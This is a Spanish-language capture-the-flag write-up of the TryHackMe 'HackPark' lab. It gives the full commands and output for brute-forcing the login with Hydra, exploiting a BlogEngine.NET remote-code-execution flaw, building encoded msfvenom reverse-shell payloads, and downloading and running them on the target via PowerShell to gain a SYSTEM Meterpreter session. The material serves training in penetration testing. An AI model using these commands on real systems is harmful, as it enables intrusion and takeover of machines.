HackPark [TryHackMe]
2023-08-30
Introducción
Subimos un puntito el nivel de dificultad con “HackPark”, la siguiente máquina las series “Offensive Pentesting” de TryHackMe. En esta sala se practican cosas como la fuerza bruta con Hydra contra una app web, el uso de exploits con Metasploit y la elevación de privilegios en Windows.
Task 1 - Desplegar la máquina
Paso 1:
- Pongo la máquina en marcha y accedo a la aplicación web que tiene.
- La primera pregunta es sobre la imagen que sale en la web, un famoso payaso de una película de miedo.
Task 2 - Using Hydra to brute-force a login
Paso 2:
- Compruebo que hay formulario de login en la web.
- Asumo que hay usuario “admin”.
- Uso burp suite para obtener POST del formulario.
- Uso la información recogida en burp para construir un ataque de fuerza bruta con hydra.
- El login es admin / 1qaz2wsx
# Uso de Hydra, el modulo http-post-form lleva 3 arugmentos [ url : request_body : mensaje_error]
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.208.69 http-post-form '/Account/login.aspx?ReturnURL=/admin:__VIEWSTATE=y6wRZsJzImyMo53LFSrnXLB7%2B7fzAbEyOX49Iqu3R14GnH%2FF8xhUZyKuJbrpjBk7rG8CXgjXJiod6JKbG86G17C0pLg%2FQIfxvi3j%2Br5M4vUm2iGKcDzMw1rNlAgtyccYdUjRO7E4XqX2E458%2FRv94OhBikBC7HSHYfwHwPgk4heOWJRE&__EVENTVALIDATION=ZIbXaJYNTD%2Bk8WtwTcECTcM8T7R2qKZIT%2B%2BO9VZFWT5GsVoRUjEINZfLga4xe6YJp3wHe5LKoD%2BhLEVcq0SbNLZmz1uVZ1ORX3IOX66bzAxqhXQpJsxQnUAbluEBTgxH%2B8FYtXrCMPaFlar3UZLOQtc%2FclRU2NolNTC2I%2FmjAbyhqQHR&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Iniciar+sesi%C3%B3n:Login Failed' -vv
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[VERBOSE] Page redirected to http[s]://10.10.208.69:80/admin
[80][http-post-form] host: 10.10.208.69 login: admin password: 1qaz2wsx
[STATUS] attack finished for 10.10.208.69 (waiting for children to complete tests)
Task 3 - Compromise the machine
Paso 3:
- WebApp es BlogEngine versión 3.3.6.0
- Encuentro exploit CVE-2019-6714 BlogEngine.NET 3.3.6 - Directory Traversal / Remote Code Execution
Paso 4:
- Descargo exploit, cambio IP y puerto.
- Renombro fichero a
PostView.ascx
- Subo fichero al server en
http://10.10.10.10/admin/app/editor/editpost.cshtml
- Activo exploit al abrir
http://10.10.10.10/?theme=../../App_Data/files
# Shell inversa con éxito
rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.14.50.184] from (UNKNOWN) [10.10.208.69] 49268
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
whoami
c:\windows\system32\inetsrv>whoami
iis apppool\blog
Task 4 - Windows Privilege Escalation
Paso 5:
- Creo un payload con msfvenom para obtener sesión con meterpreter.
- Utilizo el script x86/shikata_ga_nai
# Comando de msfvenom para crear el payload
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.14.50.184 LPORT=1234 -f exe -o shell-name.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of exe file: 73802 bytes
Saved as: shell-name.exe
Paso 6:
- Preparo metasploit con exploit/multi/handler
- Inicio servidor web con python para descargarlo en el objetivo.
# Mestasploit
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST tun0
msf6 exploit(multi/handler) > set LPORT 1234
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on ...
# Servidor web con python
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
# netcat, comando en shell remota
powershell -c "Invoke-WebRequest -Uri 'http://10.14.50.184/shell-name.exe' -OutFile 'C:\Windows\temp\shell.exe'"
# el comnado run se ejecuta antes que .\shell.exe
msf6 exploit(multi/handler) > run
# ejecuto shell en maquina remota
.\shell.exe
[*] Started reverse TCP handler on 10.14.50.184:1234
[*] Sending stage (175686 bytes) to 10.10.208.69
[*] Meterpreter session 7 opened (10.14.50.184:1234 -> 10.10.208.69:49314) at 2023-08-29 22:04:06 +0200
- Meterpreter
# Recopilo informacion del sistema
meterpreter > sysinfo
Computer : HACKPARK
OS : Windows 2012 R2 (6.3 Build 9600).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x86/windows
# Informacion de usuario sesión
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
- Encuentro servicio WScheduler corriendo en el sistema, reviso sus logs.
meterpreter > ls
Listing: c:\Program Files (x86)\SystemScheduler\Events
======================================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 1959 fil 2023-08-29 22:18:34 +0200 20198415519.INI
100666/rw-rw-rw- 30551 fil 2023-08-29 22:18:34 +0200 20198415519.INI_LOG.txt
100666/rw-rw-rw- 290 fil 2020-10-02 23:50:12 +0200 2020102145012.INI
100666/rw-rw-rw- 186 fil 2023-08-29 22:16:31 +0200 Administrator.flg
100666/rw-rw-rw- 182 fil 2023-08-29 22:16:28 +0200 SYSTEM_svc.flg
100666/rw-rw-rw- 0 fil 2023-08-29 20:44:12 +0200 Scheduler.flg
100666/rw-rw-rw- 449 fil 2023-08-29 22:16:31 +0200 SessionInfo.flg
100666/rw-rw-rw- 0 fil 2023-08-29 22:17:39 +0200 service.flg
meterpreter > cat 20198415519.INI_LOG.txt
08/04/19 15:06:01,Event Started Ok, (Administrator)
08/04/19 15:06:30,Process Ended. PID:2608,ExitCode:1,Message.exe (Administrator)
- Migro el proceso al de Message.exe o ejecuto en meterpreter “getsystem”
# Flag de usuario jeff
meterpreter > ls
Listing: c:\Users\jeff\Desktop
==============================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 282 fil 2019-08-04 20:54:53 +0200 desktop.ini
100666/rw-rw-rw- 32 fil 2019-08-04 20:57:10 +0200 user.txt
meterpreter > cat user.txt
759bd8af507517bcfaede78a21a73e39
# flag de root
meterpreter > ls
Listing: c:\Users\Administrator\Desktop
=======================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 1029 fil 2019-08-04 13:36:42 +0200 System Scheduler.lnk
100666/rw-rw-rw- 282 fil 2019-08-03 19:43:54 +0200 desktop.ini
100666/rw-rw-rw- 32 fil 2019-08-04 20:51:42 +0200 root.txt
meterpreter > cat root.txt
7e13d97f05f7ceb9881a3eb3d78d3e72
Task 4 - Privilege Escalation Without Metasploit
- Se puede conseguir acceso privilegiado sin metasploit.
- Se crea paylod con msfvenom de windows/shell_reverse_tcp
# Genero el payload nuevo
msfvenom -p windows/shell_reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.14.50.184 LPORT=1234 -f exe -o shell_tcp.exe
#Preparo servidor python y lo descargo en la maquina remota
# El listener recibe la conexion
rlwrap nc -lvnp 1234
listening on [any] 1234 ...
ls
connect to [10.14.50.184] from (UNKNOWN) [10.10.208.69] 49397
dir
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
c:\Windows\Temp>
- Ejecucion de WinPEAS y busqueda de fecha de instalación original:
# Subo WinPEAS.bat y lo ejecuto. Es un proceso largo y algo aburrido, asi que obtengo la fecha con systeminfo
c:\windows\system32\inetsrv>systeminfo | findstr /i date
Original Install Date: 8/3/2019, 10:43:23 AM
Conclusion
Aunque se supone que ésta máquina es mas compleja que las anteriores, me he sentido cómodo usando Burp Suite, Hydra, Msfvenom y Metasploit. La mayor parte de los problemas en esta sala me los he encontrado con las shells inversas, que no acaban de ser muy estables por lo que sea, excepto con meterpreter que si que ha ido bien. Tampoco me ha parecido muy fluido el uso de WinPEAS, aunque es una herramienta interesante.